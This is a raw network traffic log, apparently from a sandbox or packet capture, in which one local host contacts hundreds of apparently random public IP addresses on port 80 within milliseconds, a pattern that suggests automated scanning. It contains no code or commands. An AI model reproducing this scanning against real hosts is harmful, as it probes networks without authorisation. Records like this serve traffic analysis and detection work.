Dec 3, 2024 22:02:05.187076092 CET	80	49394	36.241.29.66	192.168.2.14
Dec 3, 2024 22:02:05.187079906 CET	39296	80	192.168.2.14	76.11.5.246
Dec 3, 2024 22:02:05.187083006 CET	39296	80	192.168.2.14	129.70.152.115
Dec 3, 2024 22:02:05.187089920 CET	80	55962	72.243.203.46	192.168.2.14
Dec 3, 2024 22:02:05.187097073 CET	39296	80	192.168.2.14	183.231.176.181
Dec 3, 2024 22:02:05.187098980 CET	39296	80	192.168.2.14	150.30.79.133
Dec 3, 2024 22:02:05.187098980 CET	39296	80	192.168.2.14	31.130.78.167
Dec 3, 2024 22:02:05.187105894 CET	39296	80	192.168.2.14	184.188.253.242
Dec 3, 2024 22:02:05.187107086 CET	49394	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:05.187110901 CET	39296	80	192.168.2.14	24.169.136.122
Dec 3, 2024 22:02:05.187117100 CET	39296	80	192.168.2.14	146.229.68.31
Dec 3, 2024 22:02:05.187119961 CET	55962	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:05.187119961 CET	80	41744	45.28.33.123	192.168.2.14
Dec 3, 2024 22:02:05.187130928 CET	80	54360	106.191.70.70	192.168.2.14
Dec 3, 2024 22:02:05.187139988 CET	39296	80	192.168.2.14	53.136.132.46
Dec 3, 2024 22:02:05.187140942 CET	80	43082	12.155.148.111	192.168.2.14
Dec 3, 2024 22:02:05.187140942 CET	39296	80	192.168.2.14	59.4.158.182
Dec 3, 2024 22:02:05.187140942 CET	39296	80	192.168.2.14	170.32.22.212
Dec 3, 2024 22:02:05.187155962 CET	54360	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:05.187155962 CET	41744	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:05.187158108 CET	39296	80	192.168.2.14	61.90.67.52
Dec 3, 2024 22:02:05.187170029 CET	43082	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:05.187176943 CET	39296	80	192.168.2.14	209.231.153.204
Dec 3, 2024 22:02:05.187182903 CET	39296	80	192.168.2.14	87.162.138.72
Dec 3, 2024 22:02:05.187186956 CET	80	43620	20.35.75.252	192.168.2.14
Dec 3, 2024 22:02:05.187191010 CET	39296	80	192.168.2.14	197.196.144.104
Dec 3, 2024 22:02:05.187195063 CET	39296	80	192.168.2.14	70.199.204.153
Dec 3, 2024 22:02:05.187195063 CET	39296	80	192.168.2.14	53.8.157.79
Dec 3, 2024 22:02:05.187200069 CET	80	54890	49.180.199.91	192.168.2.14
Dec 3, 2024 22:02:05.187203884 CET	39296	80	192.168.2.14	134.176.191.126
Dec 3, 2024 22:02:05.187207937 CET	80	33856	164.132.95.172	192.168.2.14
Dec 3, 2024 22:02:05.187217951 CET	39296	80	192.168.2.14	1.229.137.229
Dec 3, 2024 22:02:05.187217951 CET	39296	80	192.168.2.14	173.155.159.153
Dec 3, 2024 22:02:05.187223911 CET	39296	80	192.168.2.14	62.79.187.82
Dec 3, 2024 22:02:05.187223911 CET	80	59766	186.103.200.154	192.168.2.14
Dec 3, 2024 22:02:05.187223911 CET	43620	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:05.187228918 CET	39296	80	192.168.2.14	134.48.179.4
Dec 3, 2024 22:02:05.187232018 CET	54890	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:05.187232018 CET	39296	80	192.168.2.14	83.55.223.223
Dec 3, 2024 22:02:05.187233925 CET	80	54390	205.253.138.238	192.168.2.14
Dec 3, 2024 22:02:05.187241077 CET	39296	80	192.168.2.14	75.249.100.49
Dec 3, 2024 22:02:05.187247992 CET	59766	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:05.187252045 CET	39296	80	192.168.2.14	97.31.71.182
Dec 3, 2024 22:02:05.187267065 CET	80	37122	31.154.194.45	192.168.2.14
Dec 3, 2024 22:02:05.187268019 CET	54390	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:05.187268972 CET	33856	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:05.187274933 CET	39296	80	192.168.2.14	75.56.136.130
Dec 3, 2024 22:02:05.187278032 CET	80	41054	90.146.94.112	192.168.2.14
Dec 3, 2024 22:02:05.187280893 CET	39296	80	192.168.2.14	105.134.61.131
Dec 3, 2024 22:02:05.187284946 CET	39296	80	192.168.2.14	167.72.179.246
Dec 3, 2024 22:02:05.187288046 CET	80	33976	194.3.119.244	192.168.2.14
Dec 3, 2024 22:02:05.187298059 CET	80	36808	180.111.197.220	192.168.2.14
Dec 3, 2024 22:02:05.187299013 CET	39296	80	192.168.2.14	86.193.233.214
Dec 3, 2024 22:02:05.187300920 CET	39296	80	192.168.2.14	12.242.96.185
Dec 3, 2024 22:02:05.187302113 CET	37122	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:05.187302113 CET	41054	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:05.187326908 CET	39296	80	192.168.2.14	133.171.253.133
Dec 3, 2024 22:02:05.187328100 CET	39296	80	192.168.2.14	40.228.123.222
Dec 3, 2024 22:02:05.187328100 CET	39296	80	192.168.2.14	14.222.180.72
Dec 3, 2024 22:02:05.187335014 CET	39296	80	192.168.2.14	88.156.241.147
Dec 3, 2024 22:02:05.187335014 CET	33976	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:05.187335014 CET	36808	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:05.187349081 CET	39296	80	192.168.2.14	81.146.171.203
Dec 3, 2024 22:02:05.187351942 CET	39296	80	192.168.2.14	52.136.101.196
Dec 3, 2024 22:02:05.187366009 CET	39296	80	192.168.2.14	87.178.1.217
Dec 3, 2024 22:02:05.187366009 CET	39296	80	192.168.2.14	46.72.99.198
Dec 3, 2024 22:02:05.187371016 CET	39296	80	192.168.2.14	96.175.126.28
Dec 3, 2024 22:02:05.187374115 CET	39296	80	192.168.2.14	118.102.116.148
Dec 3, 2024 22:02:05.187381029 CET	39296	80	192.168.2.14	84.115.217.124
Dec 3, 2024 22:02:05.187401056 CET	39296	80	192.168.2.14	31.61.147.80
Dec 3, 2024 22:02:05.187401056 CET	39296	80	192.168.2.14	145.167.171.166
Dec 3, 2024 22:02:05.187407017 CET	39296	80	192.168.2.14	142.228.85.39
Dec 3, 2024 22:02:05.187407017 CET	39296	80	192.168.2.14	63.40.29.54
Dec 3, 2024 22:02:05.187407017 CET	39296	80	192.168.2.14	49.205.125.135
Dec 3, 2024 22:02:05.187413931 CET	39296	80	192.168.2.14	178.180.86.168
Dec 3, 2024 22:02:05.187413931 CET	39296	80	192.168.2.14	58.250.2.45
Dec 3, 2024 22:02:05.187417030 CET	39296	80	192.168.2.14	168.214.11.178
Dec 3, 2024 22:02:05.187418938 CET	39296	80	192.168.2.14	120.239.6.209
Dec 3, 2024 22:02:05.187419891 CET	39296	80	192.168.2.14	100.33.117.190
Dec 3, 2024 22:02:05.187419891 CET	39296	80	192.168.2.14	122.133.61.163
Dec 3, 2024 22:02:05.187419891 CET	39296	80	192.168.2.14	84.214.60.59
Dec 3, 2024 22:02:05.187428951 CET	39296	80	192.168.2.14	184.36.24.140
Dec 3, 2024 22:02:05.187428951 CET	39296	80	192.168.2.14	103.41.243.208
Dec 3, 2024 22:02:05.187431097 CET	39296	80	192.168.2.14	31.92.211.207
Dec 3, 2024 22:02:05.187442064 CET	39296	80	192.168.2.14	72.221.105.11
Dec 3, 2024 22:02:05.187452078 CET	39296	80	192.168.2.14	190.87.117.55
Dec 3, 2024 22:02:05.187458038 CET	39296	80	192.168.2.14	137.73.180.232
Dec 3, 2024 22:02:05.187458038 CET	39296	80	192.168.2.14	178.188.108.137
Dec 3, 2024 22:02:05.187458038 CET	39296	80	192.168.2.14	191.74.139.202
Dec 3, 2024 22:02:05.187460899 CET	39296	80	192.168.2.14	178.29.158.23
Dec 3, 2024 22:02:05.187475920 CET	39296	80	192.168.2.14	165.78.1.60
Dec 3, 2024 22:02:05.187479019 CET	39296	80	192.168.2.14	134.111.15.141
Dec 3, 2024 22:02:05.187480927 CET	39296	80	192.168.2.14	196.143.142.171
Dec 3, 2024 22:02:05.187482119 CET	39296	80	192.168.2.14	144.82.133.249
Dec 3, 2024 22:02:05.187483072 CET	39296	80	192.168.2.14	116.193.48.214
Dec 3, 2024 22:02:05.187483072 CET	39296	80	192.168.2.14	193.106.101.26
Dec 3, 2024 22:02:05.187489986 CET	39296	80	192.168.2.14	191.6.206.169
Dec 3, 2024 22:02:05.187506914 CET	39296	80	192.168.2.14	125.78.46.90
Dec 3, 2024 22:02:05.187508106 CET	39296	80	192.168.2.14	204.183.108.128
Dec 3, 2024 22:02:05.187508106 CET	39296	80	192.168.2.14	177.53.143.180
Dec 3, 2024 22:02:05.187510967 CET	39296	80	192.168.2.14	2.47.23.125
Dec 3, 2024 22:02:05.187515974 CET	39296	80	192.168.2.14	197.217.167.250
Dec 3, 2024 22:02:05.187525988 CET	39296	80	192.168.2.14	149.190.65.210
Dec 3, 2024 22:02:05.187529087 CET	39296	80	192.168.2.14	126.5.20.194
Dec 3, 2024 22:02:05.187539101 CET	39296	80	192.168.2.14	209.185.81.87
Dec 3, 2024 22:02:05.187546968 CET	39296	80	192.168.2.14	40.2.112.66
Dec 3, 2024 22:02:05.187555075 CET	39296	80	192.168.2.14	98.201.2.134
Dec 3, 2024 22:02:05.187563896 CET	39296	80	192.168.2.14	132.191.184.88
Dec 3, 2024 22:02:05.187563896 CET	39296	80	192.168.2.14	218.179.175.35
Dec 3, 2024 22:02:05.187572002 CET	39296	80	192.168.2.14	212.172.74.245
Dec 3, 2024 22:02:05.187572956 CET	39296	80	192.168.2.14	116.109.249.169
Dec 3, 2024 22:02:05.187587976 CET	39296	80	192.168.2.14	149.132.195.250
Dec 3, 2024 22:02:05.187588930 CET	39296	80	192.168.2.14	17.149.234.222
Dec 3, 2024 22:02:05.187587976 CET	39296	80	192.168.2.14	193.226.251.31
Dec 3, 2024 22:02:05.187609911 CET	39296	80	192.168.2.14	94.130.231.23
Dec 3, 2024 22:02:05.187609911 CET	39296	80	192.168.2.14	48.198.170.255
Dec 3, 2024 22:02:05.187613010 CET	39296	80	192.168.2.14	152.154.106.223
Dec 3, 2024 22:02:05.187613010 CET	39296	80	192.168.2.14	163.70.145.72
Dec 3, 2024 22:02:05.187617064 CET	39296	80	192.168.2.14	207.93.1.179
Dec 3, 2024 22:02:05.187618017 CET	39296	80	192.168.2.14	177.196.1.119
Dec 3, 2024 22:02:05.187627077 CET	39296	80	192.168.2.14	186.137.103.33
Dec 3, 2024 22:02:05.187635899 CET	39296	80	192.168.2.14	155.60.82.212
Dec 3, 2024 22:02:05.187638044 CET	39296	80	192.168.2.14	71.84.183.242
Dec 3, 2024 22:02:05.187649012 CET	39296	80	192.168.2.14	166.247.2.185
Dec 3, 2024 22:02:05.187649012 CET	39296	80	192.168.2.14	64.59.135.212
Dec 3, 2024 22:02:05.187649965 CET	39296	80	192.168.2.14	200.166.212.253
Dec 3, 2024 22:02:05.187649965 CET	39296	80	192.168.2.14	84.64.136.220
Dec 3, 2024 22:02:05.187649965 CET	39296	80	192.168.2.14	78.145.35.209
Dec 3, 2024 22:02:05.187663078 CET	39296	80	192.168.2.14	24.73.227.73
Dec 3, 2024 22:02:05.187664032 CET	39296	80	192.168.2.14	134.240.86.52
Dec 3, 2024 22:02:05.187685966 CET	39296	80	192.168.2.14	209.195.187.168
Dec 3, 2024 22:02:05.187686920 CET	39296	80	192.168.2.14	87.223.136.177
Dec 3, 2024 22:02:05.187686920 CET	39296	80	192.168.2.14	168.175.60.1
Dec 3, 2024 22:02:05.187688112 CET	39296	80	192.168.2.14	198.189.198.10
Dec 3, 2024 22:02:05.187688112 CET	39296	80	192.168.2.14	151.52.232.129
Dec 3, 2024 22:02:05.187695026 CET	39296	80	192.168.2.14	78.231.222.184
Dec 3, 2024 22:02:05.187695026 CET	39296	80	192.168.2.14	37.160.112.17
Dec 3, 2024 22:02:05.187716961 CET	39296	80	192.168.2.14	57.237.240.95
Dec 3, 2024 22:02:05.187724113 CET	39296	80	192.168.2.14	145.176.161.249
Dec 3, 2024 22:02:05.187726021 CET	39296	80	192.168.2.14	50.41.193.22
Dec 3, 2024 22:02:05.187726021 CET	39296	80	192.168.2.14	35.171.106.183
Dec 3, 2024 22:02:05.187731981 CET	39296	80	192.168.2.14	72.154.55.199
Dec 3, 2024 22:02:05.187732935 CET	39296	80	192.168.2.14	179.88.189.129
Dec 3, 2024 22:02:05.187732935 CET	39296	80	192.168.2.14	216.219.170.130
Dec 3, 2024 22:02:05.187733889 CET	39296	80	192.168.2.14	188.226.186.12
Dec 3, 2024 22:02:05.187733889 CET	39296	80	192.168.2.14	210.45.68.169
Dec 3, 2024 22:02:05.187736988 CET	39296	80	192.168.2.14	172.165.84.243
Dec 3, 2024 22:02:05.187737942 CET	39296	80	192.168.2.14	85.46.153.43
Dec 3, 2024 22:02:05.187738895 CET	39296	80	192.168.2.14	187.73.58.190
Dec 3, 2024 22:02:05.187740088 CET	39296	80	192.168.2.14	157.66.167.245
Dec 3, 2024 22:02:05.187746048 CET	39296	80	192.168.2.14	206.206.116.208
Dec 3, 2024 22:02:05.187746048 CET	39296	80	192.168.2.14	154.106.183.254
Dec 3, 2024 22:02:05.187757015 CET	39296	80	192.168.2.14	147.176.227.185
Dec 3, 2024 22:02:05.187757015 CET	39296	80	192.168.2.14	208.103.168.140
Dec 3, 2024 22:02:05.187778950 CET	39296	80	192.168.2.14	176.72.251.15
Dec 3, 2024 22:02:05.187783003 CET	39296	80	192.168.2.14	172.91.90.236
Dec 3, 2024 22:02:05.187783003 CET	39296	80	192.168.2.14	53.206.193.82
Dec 3, 2024 22:02:05.187783003 CET	39296	80	192.168.2.14	88.111.185.65
Dec 3, 2024 22:02:05.187784910 CET	39296	80	192.168.2.14	75.118.218.100
Dec 3, 2024 22:02:05.187789917 CET	39296	80	192.168.2.14	83.155.221.1
Dec 3, 2024 22:02:05.187793016 CET	39296	80	192.168.2.14	77.0.180.163
Dec 3, 2024 22:02:05.187796116 CET	39296	80	192.168.2.14	39.230.136.3
Dec 3, 2024 22:02:05.187799931 CET	39296	80	192.168.2.14	87.173.94.190
Dec 3, 2024 22:02:05.187829018 CET	39296	80	192.168.2.14	46.123.164.70
Dec 3, 2024 22:02:05.187829018 CET	39296	80	192.168.2.14	150.55.163.75
Dec 3, 2024 22:02:05.187830925 CET	39296	80	192.168.2.14	107.127.203.249
Dec 3, 2024 22:02:05.187838078 CET	39296	80	192.168.2.14	85.189.169.94
Dec 3, 2024 22:02:05.187838078 CET	39296	80	192.168.2.14	157.25.204.228
Dec 3, 2024 22:02:05.187844992 CET	39296	80	192.168.2.14	209.54.193.240
Dec 3, 2024 22:02:05.187844992 CET	39296	80	192.168.2.14	134.115.53.211
Dec 3, 2024 22:02:05.187850952 CET	39296	80	192.168.2.14	155.102.92.92
Dec 3, 2024 22:02:05.187856913 CET	39296	80	192.168.2.14	67.9.6.10
Dec 3, 2024 22:02:05.187863111 CET	39296	80	192.168.2.14	195.189.93.76
Dec 3, 2024 22:02:05.187866926 CET	39296	80	192.168.2.14	73.237.82.253
Dec 3, 2024 22:02:05.187870026 CET	39296	80	192.168.2.14	101.19.30.167
Dec 3, 2024 22:02:05.187875032 CET	39296	80	192.168.2.14	99.158.109.199
Dec 3, 2024 22:02:05.187875032 CET	39296	80	192.168.2.14	112.89.216.210
Dec 3, 2024 22:02:05.187881947 CET	39296	80	192.168.2.14	60.98.146.209
Dec 3, 2024 22:02:05.187886000 CET	39296	80	192.168.2.14	159.140.124.18
Dec 3, 2024 22:02:05.187889099 CET	39296	80	192.168.2.14	189.186.140.13
Dec 3, 2024 22:02:05.187906027 CET	39296	80	192.168.2.14	144.188.89.73
Dec 3, 2024 22:02:05.187906981 CET	39296	80	192.168.2.14	194.213.223.146
Dec 3, 2024 22:02:05.187910080 CET	39296	80	192.168.2.14	141.137.112.114
Dec 3, 2024 22:02:05.187910080 CET	39296	80	192.168.2.14	136.69.132.101
Dec 3, 2024 22:02:05.187911987 CET	39296	80	192.168.2.14	40.139.144.3
Dec 3, 2024 22:02:05.187911987 CET	39296	80	192.168.2.14	117.96.238.45
Dec 3, 2024 22:02:05.187926054 CET	39296	80	192.168.2.14	220.186.129.12
Dec 3, 2024 22:02:05.187936068 CET	39296	80	192.168.2.14	104.41.252.141
Dec 3, 2024 22:02:05.187937021 CET	39296	80	192.168.2.14	94.5.175.240
Dec 3, 2024 22:02:05.187944889 CET	39296	80	192.168.2.14	44.179.199.228
Dec 3, 2024 22:02:05.187952042 CET	39296	80	192.168.2.14	117.83.198.43
Dec 3, 2024 22:02:05.187973976 CET	39296	80	192.168.2.14	79.188.17.45
Dec 3, 2024 22:02:05.187973976 CET	39296	80	192.168.2.14	80.195.249.64
Dec 3, 2024 22:02:05.187973976 CET	39296	80	192.168.2.14	92.48.45.139
Dec 3, 2024 22:02:05.187975883 CET	39296	80	192.168.2.14	81.20.129.124
Dec 3, 2024 22:02:05.187982082 CET	39296	80	192.168.2.14	152.170.141.90
Dec 3, 2024 22:02:05.187982082 CET	39296	80	192.168.2.14	104.250.241.254
Dec 3, 2024 22:02:05.187990904 CET	39296	80	192.168.2.14	23.232.55.203
Dec 3, 2024 22:02:05.187992096 CET	39296	80	192.168.2.14	68.146.238.200
Dec 3, 2024 22:02:05.187994003 CET	39296	80	192.168.2.14	36.255.185.226
Dec 3, 2024 22:02:05.187999010 CET	39296	80	192.168.2.14	149.233.157.107
Dec 3, 2024 22:02:05.187999964 CET	39296	80	192.168.2.14	85.41.123.41
Dec 3, 2024 22:02:05.188010931 CET	39296	80	192.168.2.14	168.164.34.162
Dec 3, 2024 22:02:05.188014984 CET	39296	80	192.168.2.14	59.104.25.196
Dec 3, 2024 22:02:05.188016891 CET	39296	80	192.168.2.14	154.89.125.160
Dec 3, 2024 22:02:05.188023090 CET	39296	80	192.168.2.14	24.94.187.224
Dec 3, 2024 22:02:05.188024998 CET	39296	80	192.168.2.14	164.109.148.41
Dec 3, 2024 22:02:05.188034058 CET	39296	80	192.168.2.14	219.103.251.160
Dec 3, 2024 22:02:05.188043118 CET	39296	80	192.168.2.14	211.236.66.55
Dec 3, 2024 22:02:05.188050032 CET	39296	80	192.168.2.14	147.204.177.131
Dec 3, 2024 22:02:05.188051939 CET	39296	80	192.168.2.14	125.15.136.32
Dec 3, 2024 22:02:05.188059092 CET	39296	80	192.168.2.14	39.134.128.1
Dec 3, 2024 22:02:05.188059092 CET	39296	80	192.168.2.14	61.62.28.199
Dec 3, 2024 22:02:05.188064098 CET	39296	80	192.168.2.14	76.213.172.102
Dec 3, 2024 22:02:05.188069105 CET	39296	80	192.168.2.14	12.80.21.24
Dec 3, 2024 22:02:05.188079119 CET	39296	80	192.168.2.14	207.198.204.54
Dec 3, 2024 22:02:05.188081980 CET	39296	80	192.168.2.14	221.99.196.213
Dec 3, 2024 22:02:05.188081980 CET	39296	80	192.168.2.14	145.234.55.123
Dec 3, 2024 22:02:05.188097000 CET	39296	80	192.168.2.14	101.244.101.75
Dec 3, 2024 22:02:05.188107014 CET	39296	80	192.168.2.14	213.21.187.200
Dec 3, 2024 22:02:05.188112974 CET	39296	80	192.168.2.14	153.105.96.52
Dec 3, 2024 22:02:05.188114882 CET	39296	80	192.168.2.14	173.57.9.102
Dec 3, 2024 22:02:05.188114882 CET	39296	80	192.168.2.14	32.188.151.187
Dec 3, 2024 22:02:05.188122988 CET	39296	80	192.168.2.14	80.180.56.207
Dec 3, 2024 22:02:05.188128948 CET	39296	80	192.168.2.14	35.215.137.25
Dec 3, 2024 22:02:05.188132048 CET	39296	80	192.168.2.14	157.190.15.153
Dec 3, 2024 22:02:05.188133955 CET	39296	80	192.168.2.14	129.131.45.36
Dec 3, 2024 22:02:05.188138962 CET	39296	80	192.168.2.14	13.193.112.22
Dec 3, 2024 22:02:05.188142061 CET	39296	80	192.168.2.14	149.53.141.147
Dec 3, 2024 22:02:05.188148022 CET	39296	80	192.168.2.14	80.109.121.44
Dec 3, 2024 22:02:05.188158989 CET	39296	80	192.168.2.14	91.253.9.233
Dec 3, 2024 22:02:05.188163996 CET	39296	80	192.168.2.14	168.253.11.244
Dec 3, 2024 22:02:05.188167095 CET	39296	80	192.168.2.14	176.53.174.191
Dec 3, 2024 22:02:05.188177109 CET	39296	80	192.168.2.14	76.159.73.175
Dec 3, 2024 22:02:05.188175917 CET	39296	80	192.168.2.14	153.205.214.185
Dec 3, 2024 22:02:05.188183069 CET	39296	80	192.168.2.14	57.86.174.185
Dec 3, 2024 22:02:05.188194036 CET	39296	80	192.168.2.14	134.28.165.159
Dec 3, 2024 22:02:05.188194036 CET	39296	80	192.168.2.14	185.117.198.130
Dec 3, 2024 22:02:05.188195944 CET	39296	80	192.168.2.14	126.52.228.162
Dec 3, 2024 22:02:05.188216925 CET	39296	80	192.168.2.14	42.137.222.77
Dec 3, 2024 22:02:05.188219070 CET	39296	80	192.168.2.14	75.22.217.123
Dec 3, 2024 22:02:05.188219070 CET	39296	80	192.168.2.14	72.182.28.164
Dec 3, 2024 22:02:05.188232899 CET	39296	80	192.168.2.14	211.164.173.108
Dec 3, 2024 22:02:05.188232899 CET	39296	80	192.168.2.14	133.117.7.240
Dec 3, 2024 22:02:05.188234091 CET	39296	80	192.168.2.14	121.197.136.59
Dec 3, 2024 22:02:05.188239098 CET	39296	80	192.168.2.14	134.140.252.15
Dec 3, 2024 22:02:05.188250065 CET	39296	80	192.168.2.14	138.40.144.54
Dec 3, 2024 22:02:05.188257933 CET	39296	80	192.168.2.14	152.96.186.190
Dec 3, 2024 22:02:05.188257933 CET	39296	80	192.168.2.14	207.91.198.97
Dec 3, 2024 22:02:05.188260078 CET	39296	80	192.168.2.14	90.93.232.201
Dec 3, 2024 22:02:05.188276052 CET	39296	80	192.168.2.14	52.225.106.29
Dec 3, 2024 22:02:05.188278913 CET	39296	80	192.168.2.14	2.158.199.61
Dec 3, 2024 22:02:05.188281059 CET	39296	80	192.168.2.14	92.68.122.83
Dec 3, 2024 22:02:05.188294888 CET	39296	80	192.168.2.14	100.18.63.91
Dec 3, 2024 22:02:05.188294888 CET	39296	80	192.168.2.14	188.27.163.250
Dec 3, 2024 22:02:05.188298941 CET	39296	80	192.168.2.14	213.145.135.81
Dec 3, 2024 22:02:05.188312054 CET	39296	80	192.168.2.14	87.21.12.144
Dec 3, 2024 22:02:05.188312054 CET	39296	80	192.168.2.14	74.127.226.144
Dec 3, 2024 22:02:05.188317060 CET	39296	80	192.168.2.14	108.153.49.11
Dec 3, 2024 22:02:05.188319921 CET	39296	80	192.168.2.14	77.12.172.128
Dec 3, 2024 22:02:05.188329935 CET	39296	80	192.168.2.14	173.165.65.189
Dec 3, 2024 22:02:05.188330889 CET	39296	80	192.168.2.14	85.142.217.0
Dec 3, 2024 22:02:05.188343048 CET	39296	80	192.168.2.14	144.97.134.254
Dec 3, 2024 22:02:05.188350916 CET	39296	80	192.168.2.14	85.12.255.155
Dec 3, 2024 22:02:05.188353062 CET	39296	80	192.168.2.14	13.68.166.206
Dec 3, 2024 22:02:05.188359022 CET	39296	80	192.168.2.14	158.7.40.245
Dec 3, 2024 22:02:05.188368082 CET	39296	80	192.168.2.14	82.77.26.56
Dec 3, 2024 22:02:05.188369036 CET	39296	80	192.168.2.14	69.56.208.103
Dec 3, 2024 22:02:05.188378096 CET	39296	80	192.168.2.14	40.250.219.78
Dec 3, 2024 22:02:05.188383102 CET	39296	80	192.168.2.14	180.22.159.113
Dec 3, 2024 22:02:05.188383102 CET	39296	80	192.168.2.14	18.158.100.203
Dec 3, 2024 22:02:05.188395977 CET	39296	80	192.168.2.14	136.38.83.141
Dec 3, 2024 22:02:05.188427925 CET	39296	80	192.168.2.14	221.134.251.64
Dec 3, 2024 22:02:05.188543081 CET	46456	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:05.188543081 CET	46456	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:05.188895941 CET	46526	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:05.189192057 CET	37514	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:05.189192057 CET	37514	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:05.189421892 CET	37584	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:05.189728975 CET	46508	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:05.189728975 CET	46508	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:05.189949036 CET	46574	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:05.190243006 CET	50438	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:05.190243006 CET	50438	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:05.190464020 CET	50504	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:05.190751076 CET	54168	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:05.190751076 CET	54168	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:05.191037893 CET	54232	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:05.191262007 CET	47960	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:05.191262007 CET	47960	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:05.191498995 CET	48024	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:05.191813946 CET	43620	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:05.191813946 CET	43620	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:05.192099094 CET	43790	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:05.192334890 CET	59766	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:05.192334890 CET	59766	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:05.192603111 CET	59936	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:05.192861080 CET	54390	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:05.192861080 CET	54390	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:05.193097115 CET	54560	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:05.193383932 CET	41054	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:05.193383932 CET	41054	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:05.193603992 CET	41224	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:05.193881989 CET	37122	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:05.193881989 CET	37122	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:05.194128990 CET	37292	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:05.194420099 CET	43082	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:05.194420099 CET	43082	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:05.194644928 CET	43252	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:05.194935083 CET	36808	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:05.194935083 CET	36808	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:05.195158005 CET	36978	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:05.195463896 CET	54890	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:05.195463896 CET	54890	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:05.195683956 CET	55060	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:05.195975065 CET	33976	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:05.195975065 CET	33976	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:05.196198940 CET	34146	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:05.196482897 CET	54360	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:05.196482897 CET	54360	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:05.196707964 CET	54530	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:05.196990967 CET	39618	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:05.196990967 CET	39618	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:05.197247028 CET	39788	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:05.197537899 CET	34730	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:05.197537899 CET	34730	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:05.197768927 CET	34900	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:05.198055029 CET	41744	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:05.198055029 CET	41744	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:05.198287964 CET	41914	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:05.198559999 CET	52066	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:05.198559999 CET	52066	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:05.198780060 CET	52236	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:05.199070930 CET	33856	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:05.199070930 CET	33856	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:05.199292898 CET	34026	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:05.199572086 CET	49394	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:05.199572086 CET	49394	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:05.199820995 CET	49564	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:05.200119019 CET	55962	80	192.168.2.14	72.243.203.46
